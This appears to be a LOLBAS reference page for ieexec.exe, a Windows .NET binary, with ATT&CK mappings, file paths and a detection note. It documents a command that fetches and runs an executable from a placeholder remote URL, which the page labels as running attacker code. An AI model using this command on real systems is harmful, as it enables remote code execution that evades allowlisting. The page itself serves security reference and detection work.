LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Ieexec.exe

View source

The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.

DownloadExecute
02COMMAND EXAMPLES
02ATT&CK TECHNIQUES
04DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

2 examples

Download1

EXAMPLE 01T1105

Downloads and executes executable from the remote server.

COMMAND
ieexec.exe {REMOTEURL:.exe}
USE CASE
Download and run attacker code from remote location
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Execute · RemoteExecute · EXE (.NET)

Execute1

EXAMPLE 01T1218

Downloads and executes executable from the remote server.

COMMAND
ieexec.exe {REMOTEURL:.exe}
USE CASE
Download and run attacker code from remote location
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Execute · RemoteExecute · EXE (.NET)
02 / ON DISK

Known paths

C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

4 resources

Indicators & detection notes

  • IOC

    Network connections originating from ieexec.exe may be suspicious

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Casey Smith@subtee